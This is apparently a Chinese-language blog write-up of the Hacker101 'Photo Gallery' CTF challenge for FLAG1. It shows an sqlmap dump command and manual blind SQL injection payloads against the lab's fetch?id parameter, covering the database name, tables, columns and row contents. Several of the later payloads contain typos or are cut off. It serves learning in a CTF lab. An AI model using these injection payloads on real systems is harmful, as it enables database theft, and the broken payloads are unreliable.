iT邦幫忙

0

Hacker101 - Photo Gallery Writeups - FLAG1.

  • 分享至 

  • xImage
  •  

資安新手,
把自己的解題過程記錄下來避免失憶症發作 lol
有錯誤的地方請大佬用力的噴我,想學到更多。


Hacker101 是專門給Web Application的CTF題目
同時也對新手算友善的網站。

正文開始!!

此題總共有三個FLAG,分為(FLAG0、FLAG1、FLAG2)
第二個很好找,因此先記錄下來。

OK首先我們來到這網站的首頁
https://ithelp.ithome.com.tw/upload/images/20190927/20121620ggzHoKtMU5.png
打開原始碼:
https://ithelp.ithome.com.tw/upload/images/20190927/20121620eG0nI0L4Vu.png

點進去圖片資源看到令人興奮的注入測試點

http://35.190.155.168/3cbc0ab74a/fetch?id=1

https://ithelp.ithome.com.tw/upload/images/20190927/20121620pd3JmvQJtn.png

首先測試最簡單的 ?id=" 跟 ?id='
看起來都有過濾掉。

再來測試 ?id and 1=1
不用字元'1'的方式是因為id通常是個Integer,所以先用數字猜測。
喔!好像是個注入點喔,網頁正常的回應我們:
https://ithelp.ithome.com.tw/upload/images/20190927/20121620wu6NCjWezW.png

為了確認一下我們再試試看 ?id and 1=2
恩,返回404 Not Found ( 邏輯錯誤導致程式沒有返回所選圖片,因此造成404 )
https://ithelp.ithome.com.tw/upload/images/20190927/20121620O2YIJxGqqs.png

在這裡我分為腳本小子法跟稍微理解法
懶得看的人可以先看腳本小子法

腳本小子法:

sqlmap -u http://35.190.155.168/3cbc0ab74a/fetch?id=1 -p "id" --level 2 --dump

簡單,暴力,直接。
甚麼腦筋都不用動,
被我螢光筆畫起來的地方就是FLAG1了。
https://ithelp.ithome.com.tw/upload/images/20190927/20121620Oa5aKjj4OY.png
https://ithelp.ithome.com.tw/upload/images/20190927/20121620xgEiTqKerW.png

稍微理解法:

我說,就這樣工具破出來不是大家所樂見的/images/emoticon/emoticon52.gif
腦袋總要學點東西。
這裡的注入原裡大多參考這裡:

https://www.twblogs.net/a/5d2c8fbfbd9eee1ede07610f

這系列對於SQL injection的理解很有用,有興趣的可以逛一逛。
因此我們首先把database的字數猜出來:

?id=1 and length(database())=*

*為數字,只要猜到頁面返回正常就代表該值為database的字數長度
最後我們得到該database的長度為6
https://ithelp.ithome.com.tw/upload/images/20190927/20121620QI39UXMEJp.png

再來我們把詳細的每個字元猜出來:

?id=1 and left(database(),1)>'a'

大於'a'的話頁面返回正常,之後字母逐次增加,當遇到>'字元'返回錯誤時,就代表該字元為上一個字元)
猜完第一個緊接著猜第二個字

?id=1 and left(database(),2)>'la'*

這裡我解釋一下,
假設我們猜到'l'為第一個字的話,
那麼接下來從'la'開始猜,字元在計算機都有著數值,
就是'l'+'a'的數值是否 > database選出來的字!
也因此假設開頭前兩個名字是'le'的話,
那麼當我們猜到'le'時就會返回錯誤了。
最後猜出來的資料庫名字為level5
https://ithelp.ithome.com.tw/upload/images/20190927/20121620n5DHuWN8hN.png

.........../images/emoticon/emoticon06.gif

https://ithelp.ithome.com.tw/upload/images/20190927/201216208ooOn8HRDO.jpg

知道為甚麼要用工具了吧XD

我們試了老半天目前只知道了資料庫的名字而已。
有了前面的解釋我列出後面猜解表名、猜解列名、以及如何獲取表內容的測試碼給大家自行實驗
感謝https://www.twblogs.net/a/5d2c8fbfbd9eee1ede07610f 的提供

猜解表名:

?id=1’ and ascii(substr((select table_name from information_schema.tables wehre table_schema=database() limit

猜解列名:

id=1’ and asicc(substr((select table_column from information_schema.columns where table_schema=’數據庫名’ and table_name=’表名’ limit 0,1),1,1)) > 99 --+

獲取表內容:

?id=1’ and ord(mid((select ifnull(cast(username as char),0x20)from 數據庫名.表名 order by id limi 0,1),1,1)) =68 --+

順利的話你應該就能拿到FLAG1了
先這樣,大家881!


更多文章:https://ithelp.ithome.com.tw/users/20121620/articles


圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言